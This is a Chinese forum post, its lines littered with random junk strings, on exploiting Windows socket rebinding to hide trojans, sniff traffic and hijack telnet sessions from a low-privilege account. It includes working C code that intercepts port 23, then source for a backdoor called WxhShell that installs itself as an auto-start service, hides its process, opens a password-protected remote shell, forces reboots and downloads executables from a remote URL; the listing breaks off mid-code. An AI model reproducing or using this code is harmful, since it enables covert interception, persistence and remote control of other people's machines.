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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "4AQpD  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `GWq3c5  
>^ar$T;Ys  
  saddr.sin_family = AF_INET; R}26"+~  
qiryC7.E  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0-~x[\>>  
[$Bb'],k  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ll09j Ef  
(`Mz.VN  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?YykCJJ ~@  
Cb-E<W&2D  
  这意味着什么?意味着可以进行如下的攻击: odn`%ok  
qP'g}Pc  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {EN@,3bA  
TAoR6aE  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) z$5C(!)  
$NRb'   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 # Kr.!uD  
E\N=p&g$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   (t['  
e>Y2q|S85  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?0%TE\I8  
(:x"p{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `R?W @,@'  
sB/s17ar  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )fL*Ws6  
rB?cm]G=  
  #include kweTK]mT  
  #include 6x{IY  
  #include :J-5Q]#  
  #include    ~B\:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   HwuPjc#  
  int main() %.U{):lNx  
  { {3Wc<&D C1  
  WORD wVersionRequested; k4rB S  
  DWORD ret; W (=B H  
  WSADATA wsaData; "-:\-sMt{  
  BOOL val; 9X` QlJ2|  
  SOCKADDR_IN saddr; p00AcUTq  
  SOCKADDR_IN scaddr; IW_D$pq  
  int err; 4,DsB'  
  SOCKET s; =1[g`b  
  SOCKET sc; VrxH6Y  
  int caddsize; BAHx7x#(  
  HANDLE mt; y]9U FL"  
  DWORD tid;   kR(=VM JU  
  wVersionRequested = MAKEWORD( 2, 2 ); O3Mv"Py%  
  err = WSAStartup( wVersionRequested, &wsaData ); nHrCSfK  
  if ( err != 0 ) { ~]M"  
  printf("error!WSAStartup failed!\n"); :L0W"$  
  return -1; -=IM8Dny  
  } )&<ExJQ&  
  saddr.sin_family = AF_INET; V,5}hQJ F  
   x&vD,|V!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 LL [>Uu?Y  
e6'O,\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); TMsoQ82  
  saddr.sin_port = htons(23);  e5]AB  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) LS;anNk@.}  
  { sdD[`#  
  printf("error!socket failed!\n"); = h( n+y<  
  return -1; Ti'kn{ Zv  
  } Y sV  
  val = TRUE; D.`\ ^a  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <DS6-y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N2e<Y_T  
  { ]SgeZ07  
  printf("error!setsockopt failed!\n"); $twF93u$  
  return -1; I!D*(>  
  } v{ Ve sf  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,ua1xsZl&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7`!( 8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 qKC*j DW  
NkI:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $:wM'&M  
  { ![^h<Om  
  ret=GetLastError(); Jo<6M'  
  printf("error!bind failed!\n"); !g"9P7p  
  return -1; c"1d#8J  
  } p\ S3A(  
  listen(s,2); T@.D5[q0:  
  while(1) "mK (?U!A  
  { SI5QdX  
  caddsize = sizeof(scaddr); Bx4GFCdifC  
  //接受连接请求 ]E^f8s0#V  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); U^\~{X  
  if(sc!=INVALID_SOCKET) BH a>2N  
  { 6QQ oHYtZ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <vDm(-i3  
  if(mt==NULL) ?%Fk0E#>2  
  { UULL:vqq  
  printf("Thread Creat Failed!\n"); \ 6 a  
  break; 9YhsJ~"Q  
  } 8$Yf#;m[  
  } 9zd/5|W  
  CloseHandle(mt); D[M?27  
  } Iq \oB  
  closesocket(s); >~~\==".  
  WSACleanup(); mM>|fHGA  
  return 0; 4V8wB}y7e  
  }   pr(\?\a  
  DWORD WINAPI ClientThread(LPVOID lpParam) taaAwTtk?A  
  { ku8c)  
  SOCKET ss = (SOCKET)lpParam; ypo=y/!  
  SOCKET sc; ]5/U}Um  
  unsigned char buf[4096]; GJPZ[bo  
  SOCKADDR_IN saddr; BwD1}1jp  
  long num; ^/vWK\-  
  DWORD val; sb.SpF>   
  DWORD ret; |>GIPfVT  
  //如果是隐藏端口应用的话,可以在此处加一些判断 H%aLkV!J  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;(6lN<i U  
  saddr.sin_family = AF_INET; |3ETF|)?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $t'I*k^N  
  saddr.sin_port = htons(23); |Eu~= J7@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [zEP|  
  { . *xq =  
  printf("error!socket failed!\n"); ped Yf{T  
  return -1; W=]",<  
  } kZ%W?#  
  val = 100; ! -@!u   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Qe.kN dT+_  
  { ^?[<!VBI  
  ret = GetLastError(); cLC7U?-  
  return -1; NI:N W-!  
  } ^I?y\:.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) REBDr;tv  
  { 1G.gPx[  
  ret = GetLastError(); ?ovGYzUZ  
  return -1; 1:UC\WW  
  } JZxF)] ^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) d2yHfl]3  
  { LfXr(2u  
  printf("error!socket connect failed!\n"); N\p]+[6  
  closesocket(sc); N o\&~  
  closesocket(ss); J5 ( D7rp#  
  return -1; @rE )xco  
  } w{EU9C  
  while(1) B?Sfcq-  
  { 1R9? [RE  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 w{x(YVS H  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /,$\H  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 PGl-2Cr  
  num = recv(ss,buf,4096,0); } /3pC a  
  if(num>0) % ul{nL:  
  send(sc,buf,num,0); z}&C(m:al  
  else if(num==0) BM~niW;k  
  break; ^T6!z^g1h  
  num = recv(sc,buf,4096,0); FD+PD:cQn  
  if(num>0) TFDCo_>o  
  send(ss,buf,num,0); }h h^U^ia  
  else if(num==0) [=3tAPpzK  
  break; pF+wH MhUe  
  } w*}yw"gP*0  
  closesocket(ss); [iy;}5XK  
  closesocket(sc); ~c$ts&Cl  
  return 0 ; C?|3\@7  
  } ~9YA!48  
[ c[MQA0  
~U6YN_W  
========================================================== utJVuJw:t  
#(g+jb0E  
下边附上一个代码,,WXhSHELL b7sE  
>1I2R/'  
========================================================== (ul-J4E\O  
fYM6wYJ  
#include "stdafx.h" (H%d]  
CVG>[~}(9'  
#include <stdio.h> EFt`<qwj  
#include <string.h> <`UG#6z8  
#include <windows.h> C_ZD<UPA\  
#include <winsock2.h> H-KwkH`L4  
#include <winsvc.h> _D,f 4.R  
#include <urlmon.h> mX.3R+t  
 I4f  
#pragma comment (lib, "Ws2_32.lib") Mq lo:7 ^F  
#pragma comment (lib, "urlmon.lib") @EOR] ^?!]  
M2P@ &  
#define MAX_USER   100 // 最大客户端连接数 ]O=S2Q  
#define BUF_SOCK   200 // sock buffer -<JBKPtA  
#define KEY_BUFF   255 // 输入 buffer [*{\R`M  
+xBK^5/x  
#define REBOOT     0   // 重启 #Y>%Dr&  
#define SHUTDOWN   1   // 关机 VSpt&19  
wW! r}I#  
#define DEF_PORT   5000 // 监听端口 X+E\]X2  
Dke($Jr{  
#define REG_LEN     16   // 注册表键长度 V0 +k3H  
#define SVC_LEN     80   // NT服务名长度 + >gbZ-S  
nf.:5I.  
// 从dll定义API 3_*Xk. .d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %i -X@.P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eGe[sv"k  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6 #x)W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~73i^3yf  
<kXV1@>  
// wxhshell配置信息 &Pg-|Ql  
struct WSCFG { K&IrTA j}  
  int ws_port;         // 监听端口 jw(> @SXz  
  char ws_passstr[REG_LEN]; // 口令 26#Jhb E+  
  int ws_autoins;       // 安装标记, 1=yes 0=no /.kna4k  
  char ws_regname[REG_LEN]; // 注册表键名 QJIItx4hE  
  char ws_svcname[REG_LEN]; // 服务名 y(3c{y@~X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ma=6kX]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h$7Fe +#I#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q?-3^z%u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ncJFB,4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {[t"O u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PVD ~W)0m*  
Jm (&G  
}; "?eH=!  
lKV\1(`  
// default Wxhshell configuration Y!= k  
struct WSCFG wscfg={DEF_PORT, XHZ: mLf  
    "xuhuanlingzhe", YD='M.n\  
    1, k$-~_^4m  
    "Wxhshell", \n*7# aX/  
    "Wxhshell", U!\2K~  
            "WxhShell Service", Dz8:; $/  
    "Wrsky Windows CmdShell Service", [UJEU~XC  
    "Please Input Your Password: ", TXJY2J*24  
  1, c.8((h/  
  "http://www.wrsky.com/wxhshell.exe", lsB9;I^+x  
  "Wxhshell.exe" 1] %W\RHxo  
    }; /K,|k EE'n  
s !hI:$J.  
// 消息定义模块 Cl t5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,jbGM&.C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %0NkIQ`C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ckf<N9  
char *msg_ws_ext="\n\rExit."; RrO0uadmn  
char *msg_ws_end="\n\rQuit."; Q$3\ /mz  
char *msg_ws_boot="\n\rReboot..."; oEQ{m5O9  
char *msg_ws_poff="\n\rShutdown..."; y^d[( c  
char *msg_ws_down="\n\rSave to "; KM/U?`6>:  
[*9YIjn  
char *msg_ws_err="\n\rErr!"; bCA2ik  
char *msg_ws_ok="\n\rOK!"; . Z*j!{@c  
# cN_y  
char ExeFile[MAX_PATH]; _)zmIB(}m  
int nUser = 0; ws>WA{]gq  
HANDLE handles[MAX_USER]; BSfm?ku"!  
int OsIsNt; tM^;?HL]  
~MhgAC  
SERVICE_STATUS       serviceStatus; 2JiAd*WK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ! EX?m }7  
QY~<~<d+G  
// 函数声明 U/X|i /  
int Install(void); ePq13!FC/  
int Uninstall(void); ceb s.sF:  
int DownloadFile(char *sURL, SOCKET wsh); gV"qV   
int Boot(int flag); `dv}a-Q)c  
void HideProc(void); /ojO>Y[<   
int GetOsVer(void); Sa;<B:|  
int Wxhshell(SOCKET wsl); t;.^K\S4  
void TalkWithClient(void *cs); @K$VV^wp  
int CmdShell(SOCKET sock); %@lV-(5q  
int StartFromService(void); Lj&1K~U  
int StartWxhshell(LPSTR lpCmdLine); n5Nan  
:!JpP R5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _{LN{iqDv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); yn/?= ?0  
I*A0?{  
// 数据结构和表定义 3Q'[Ee2-3  
SERVICE_TABLE_ENTRY DispatchTable[] = }W:*aU  
{ \7Gg2;TA6o  
{wscfg.ws_svcname, NTServiceMain}, V#'26@@  
{NULL, NULL} E0"10Qbi  
}; aho'|%y)  
cOSxg=~>u  
// 自我安装 eyeNrk*2o  
int Install(void) [G{rHSK5tQ  
{ CM%|pB/z  
  char svExeFile[MAX_PATH]; r}/yi  
  HKEY key; ;wij}y-6  
  strcpy(svExeFile,ExeFile); 2;r]gT~  
\{c,,th  
// 如果是win9x系统,修改注册表设为自启动 _tWJXv~;  
if(!OsIsNt) { I1Hw"G"&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FI]P<)*r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DtzA$|Q}  
  RegCloseKey(key); {$EH@$./  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hLb;5u&!kW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (jU/Wj!q  
  RegCloseKey(key); \Fj5v$J-  
  return 0; -VS9`7k  
    } C#MF pT  
  } M{`/f@z(  
} V bg10pV0  
else { q} ]'Q -  
j/)"QiS*?  
// 如果是NT以上系统,安装为系统服务 r<;l{7lY_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k? 3S  
if (schSCManager!=0) ;i<$7MR.e  
{ WnD^F>  
  SC_HANDLE schService = CreateService @S`$C  
  ( m7$8k@r  
  schSCManager, A2m_q>> !  
  wscfg.ws_svcname, P^ptsZ%  
  wscfg.ws_svcdisp, wL4Z W8_  
  SERVICE_ALL_ACCESS, 2R^O,Vu*W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s %eyW _  
  SERVICE_AUTO_START, 0B=[80K;8  
  SERVICE_ERROR_NORMAL, aSc{Ft/O  
  svExeFile, <,\ `Psa)N  
  NULL, gRBSt M&hU  
  NULL, NF6X- ,c d  
  NULL, yJ%t^ X_  
  NULL, &!ED# gs  
  NULL mDE'<c`b4  
  ); fJaubDxa  
  if (schService!=0) J.#(gFBBl\  
  { ]b3/Es+  
  CloseServiceHandle(schService); ,eR8 ~(`=  
  CloseServiceHandle(schSCManager); C\ tprnY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k!5m@'f  
  strcat(svExeFile,wscfg.ws_svcname); /\ytr%7,'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &~RR&MdZ2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4|`Yz%'  
  RegCloseKey(key); )h#]iGVN}  
  return 0; h@=7R  
    } puOC60zI  
  } *c{wtl@  
  CloseServiceHandle(schSCManager); wMGk!N  
} O7%2v@j|8  
} >*IN  
rah,dVE]  
return 1; }.p<wCPy6  
} + :Vrip  
/D<"wF }@J  
// 自我卸载 _5mc('  
int Uninstall(void) f\fdg].!  
{ |'tW=  
  HKEY key; @5WgqB  
r!7Y'|  
if(!OsIsNt) { 3{KR {B#L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ] /+D^6  
  RegDeleteValue(key,wscfg.ws_regname); %?bcT[|3  
  RegCloseKey(key); u_PuqRcs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0n.S,3|  
  RegDeleteValue(key,wscfg.ws_regname); P.djd$#  
  RegCloseKey(key); QdQ d(4/1  
  return 0; f;gZ|a  
  } 'Gjq/L/x  
} &rp!%]+xAM  
} RPVT*`o  
else { P"1 S$oc  
[8"ojhdV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #Z\ O}<  
if (schSCManager!=0) Cp#)wxi6[y  
{ A3HF,EG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2edBQYWd  
  if (schService!=0) dt_e  
  { q]\X~ 9#  
  if(DeleteService(schService)!=0) { ,m^;&&  
  CloseServiceHandle(schService); Y#FO5O%W  
  CloseServiceHandle(schSCManager); + E/y ~s  
  return 0; Q6IQV0{p  
  } ,LZX@'5  
  CloseServiceHandle(schService); Gs dnf 7  
  } Rrg8{DZhv  
  CloseServiceHandle(schSCManager); *f5l=lDOB  
} EVt? C+  
} 2Vk\L~K  
F2 ~%zNe  
return 1; g%xGOA  
} )4R:)-"f  
k6"KB  
// 从指定url下载文件 -kpswP  
int DownloadFile(char *sURL, SOCKET wsh) ""{|3XJe  
{ Wkzs<y"  
  HRESULT hr; BI2; ex  
char seps[]= "/"; +Llo81j&  
char *token; 0:&ZnE}##  
char *file; ~GJN@ka4%  
char myURL[MAX_PATH]; ?m0IehI  
char myFILE[MAX_PATH]; [u M-0t  
}CDk9Xk  
strcpy(myURL,sURL); W0XF~  
  token=strtok(myURL,seps); Xf d*D  
  while(token!=NULL) ,e`'4H  
  { I]nHbghcW  
    file=token; ;n6b%,s  
  token=strtok(NULL,seps); -x`G2i  
  } :q#K} /  
Y[Ltrk{  
GetCurrentDirectory(MAX_PATH,myFILE); UsQ4~e 4-  
strcat(myFILE, "\\"); kforu!C  
strcat(myFILE, file); @kFu*"  
  send(wsh,myFILE,strlen(myFILE),0); ~D[?$`x:  
send(wsh,"...",3,0); re &E{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1l8Etp&<  
  if(hr==S_OK) 6rN(_Oi-  
return 0; B[5r|d'  
else xJZ@DR,#  
return 1; X|DO~{-au  
fNu'((J-  
} rw7_5l  
AeuX Qt  
// 系统电源模块 (08I  
int Boot(int flag) ,#]t$mzbQ(  
{ x3p ND  
  HANDLE hToken; ^Q+i=y{W  
  TOKEN_PRIVILEGES tkp; m~#%Q?_ %  
&o3K%M;C?  
  if(OsIsNt) { BxK^?b[E8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N#C1-*[C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); up '  
    tkp.PrivilegeCount = 1; o*g|m.SjL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $2~\eG=u H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vhuw &.\  
if(flag==REBOOT) { s;flzp8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6\jf|:h  
  return 0; sj?3M@l95W  
} AJ^#eY5  
else { {yA$V0`N{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q&'}BeUbm  
  return 0; JRMM?y  
} Wu6<\^A  
  } A'&n5)tb  
  else { Mwp$  
if(flag==REBOOT) { 4*.K'(S5fx  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3jH\yXj  
  return 0; k n[Y   
} +>~?m*$  
else { YW \0k5[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R%D'`*+  
  return 0; 4 1a. #o  
} !R-z%  
} s@hRqGd:  
D}C,![   
return 1; '_k+WH&  
} :!a 2]-D}  
'})0!g<Y  
// win9x进程隐藏模块 P|tNL}2`;  
void HideProc(void) `+:.L>5([  
{ !HeSOzN  
^u}L;`L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  7R#+Le)  
  if ( hKernel != NULL ) 0Uk@\[1ox  
  { jOpcV|2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9+s.w25R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ml|W~-6l  
    FreeLibrary(hKernel); >odbOi+X  
  } me6OPc;:!  
cRd0S*QN2  
return; G$0c '9d*(  
} ,j:|w+l  
+ISz?~8  
// 获取操作系统版本 h7*W *Bd  
int GetOsVer(void) `Q3s4VEC  
{ l!}:|N Yh!  
  OSVERSIONINFO winfo; -<v~snq'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r;L>.wl*I  
  GetVersionEx(&winfo); ^EG\iO2X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7@lS.w\#-  
  return 1; 3kcTE&1^  
  else :c9U>1`g&  
  return 0; 6 5y+Z  
} Y{v(p7pl  
Hn>B!Bm*  
// 客户端句柄模块 I1oje0$  
int Wxhshell(SOCKET wsl) #_Z$2L"U  
{ ?m$a6'2-,J  
  SOCKET wsh; N>(g?A; Z+  
  struct sockaddr_in client; :ISMPe3'  
  DWORD myID; r78TE@d  
P0H6 mn*  
  while(nUser<MAX_USER) wn_b[tdxq  
{ x8\A<(G_M=  
  int nSize=sizeof(client); PHA-9\jC{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o9xlu.QL{c  
  if(wsh==INVALID_SOCKET) return 1; 2aJS{[  
p~noM/*2r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uZfnzd)c  
if(handles[nUser]==0) +dA,P\  
  closesocket(wsh); P=3RLL<l  
else W^3uEm&l!)  
  nUser++; 322jR4QGr  
  } ]EwVpvTw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |-V&O=!^+  
1]IQg;q  
  return 0; l]~n3IK"  
} 5JEbe   
DvvT?K  
// 关闭 socket `n$5+a+  
void CloseIt(SOCKET wsh) lWBb4 !l  
{ pV4Whq$  
closesocket(wsh); mUS_(0q  
nUser--; OHiQ7#y  
ExitThread(0); w =. Fj  
} [mEql,x3  
U=hlu  
// 客户端请求句柄 Y"-^%@|p  
void TalkWithClient(void *cs) k} ]T;|h]  
{ \J+*  
8NaqZ+5x  
  SOCKET wsh=(SOCKET)cs; ,`ZYvF^%  
  char pwd[SVC_LEN]; +)2s-A f-  
  char cmd[KEY_BUFF]; `tjH<  
char chr[1]; *tm0R>?!  
int i,j; JXyM\}9-X  
Qne/g}PD`  
  while (nUser < MAX_USER) { c@v{`d  
cZ)}LX  
if(wscfg.ws_passstr) { DW)2 m;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DJgTA]$&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <SI}lQ'i  
  //ZeroMemory(pwd,KEY_BUFF); U|g:`v7  
      i=0; 4 C}bJzZ  
  while(i<SVC_LEN) { +}f9   
LM&y@"wfm  
  // 设置超时 ~z"= G5|  
  fd_set FdRead; @6l%,N<fou  
  struct timeval TimeOut; D#&q&6P{  
  FD_ZERO(&FdRead); nLV9<M Zm  
  FD_SET(wsh,&FdRead); Vp>|hj po  
  TimeOut.tv_sec=8; JH:0 L  
  TimeOut.tv_usec=0; hKzSgYxP=t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t |~YEQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Gs3LB/8?  
#v<QbA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MwmUgN"g  
  pwd=chr[0]; &QhX1dT+  
  if(chr[0]==0xd || chr[0]==0xa) { Qg6 W5Hc  
  pwd=0; a33TPoj  
  break; Duc#$YfGm  
  } oh$Q6G  
  i++; 5uxBK"q  
    } /z BxJT0  
rXA*NeA3v  
  // 如果是非法用户,关闭 socket IpP~Uz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ug&,Y/tFw2  
} SJIOI@\b  
~ o1x;Y6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B" 3dQwQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I4&::y^ C  
F'hHK.tT  
while(1) { 8T(e.I  
J/}:x;Y  
  ZeroMemory(cmd,KEY_BUFF); ~#kT _*sw)  
It{;SKeo  
      // 自动支持客户端 telnet标准   [,TkFbDq"J  
  j=0; JwJ7=P=c  
  while(j<KEY_BUFF) { PssMTEf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7EXI6jGJ|  
  cmd[j]=chr[0]; Y5F]:gs@  
  if(chr[0]==0xa || chr[0]==0xd) { ( H6c{'&  
  cmd[j]=0; vap,y $C  
  break; `X3^fg  
  } I_A@BnM{I  
  j++; .l@xsJn  
    } _1U1(^)  
8=]Tr3   
  // 下载文件 R58-wUto  
  if(strstr(cmd,"http://")) { Y+Fljr*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _cu:aktf2  
  if(DownloadFile(cmd,wsh)) 3Kn_mL3V-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "_`F\DGAZu  
  else $^@)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wQRZ"ri,  
  } L:9F:/G  
  else { &LbJT$}V  
Dgy]ae(Hb3  
    switch(cmd[0]) { x:nKfY5  
  vsa92c@T  
  // 帮助 :sC qjz  
  case '?': { 9]e V?yoA8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gCxAG  
    break; Q:5KZm[[  
  } VO"("7L  
  // 安装 Ntbg`LGf'!  
  case 'i': { -=(!g&0  
    if(Install()) Dq)j:f#QM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z`\F@pX%wC  
    else ]8T!qS(UJd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sVl-N&/  
    break; VZ\B<i  
    } A,`8#-AX  
  // 卸载 VqS#waNrx  
  case 'r': { kcQ'$<Mz<  
    if(Uninstall()) 0=K9`=5d0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rta:f800z  
    else -N"&/)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1|ra&(=)  
    break; mdw7}%5V  
    } z(H^..<!5  
  // 显示 wxhshell 所在路径 9k6r_G"  
  case 'p': { ^.>jG I%rB  
    char svExeFile[MAX_PATH]; (7r<''  
    strcpy(svExeFile,"\n\r"); &-mX ,   
      strcat(svExeFile,ExeFile); IV)<5'v  
        send(wsh,svExeFile,strlen(svExeFile),0); I6Ce_|n ?k  
    break; LGl2$#x  
    } (<)]sp2   
  // 重启 AhNq/?Q Q~  
  case 'b': { xe*aC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); AW,53\ 0  
    if(Boot(REBOOT)) 5:kH;/U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #b~JDO(  
    else { m'f,_ \'  
    closesocket(wsh); El@(mOu|  
    ExitThread(0); ;f"0~D2  
    } YJo["Q  
    break; E>}4$q[r  
    } X_7UJ jFw"  
  // 关机 3}/&w\$  
  case 'd': { D#o}cC.  
